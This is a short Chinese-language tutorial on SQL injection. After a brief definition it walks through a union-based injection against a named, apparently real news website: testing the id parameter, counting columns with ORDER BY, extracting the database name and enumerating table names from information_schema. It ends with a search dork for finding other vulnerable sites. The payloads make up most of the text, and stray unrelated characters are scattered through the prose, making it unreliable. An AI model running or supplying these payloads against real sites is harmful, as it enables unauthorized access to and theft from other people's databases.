安全測試-SQL注入
SQL Injection:就是通過把SQL命令插入到Web表單遞交或輸入域名或頁面請求的查詢字符串生棍,最終達到欺騙服務器執(zhí)行惡意的SQL命令鲜棠。
具體來說,它是利用現有應用程序够话,將(惡意)的SQL命令注入到后臺數據庫引擎執(zhí)行的能力禁熏,它可以通過在Web表單中輸入(惡意)SQL語句得到一個存在安全漏洞的網站上的數據庫,而不是按照設計者意圖去執(zhí)行SQL語句明也。
e.g:
http://xian.gjnews.cn/list.php?page=4&id=524
探測是否有SQL注入的可能:
http://xian.gjnews.cn/list.php?page=4&id=524’
http://xian.gjnews.cn/list.php?page=4&id=524order by 2
order by 17
order by 18
and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17
and 1=2 union select 1,’ee’,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17
and 1=2 union select
1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17可獲取到數據庫名稱
http://xian.gjnews.cn/list.php?page=4&id=524 and 1=2 union
select 1,table_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from
information_schema.tables where table_schema='gjnews_new'得到表ad
http://xian.gjnews.cn/list.php?page=4&id=524 and 1=2 union
select 1,table_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from
information_schema.tables where table_schema='gjnews_new' limit 1,1查第二個表
inurl:php?id=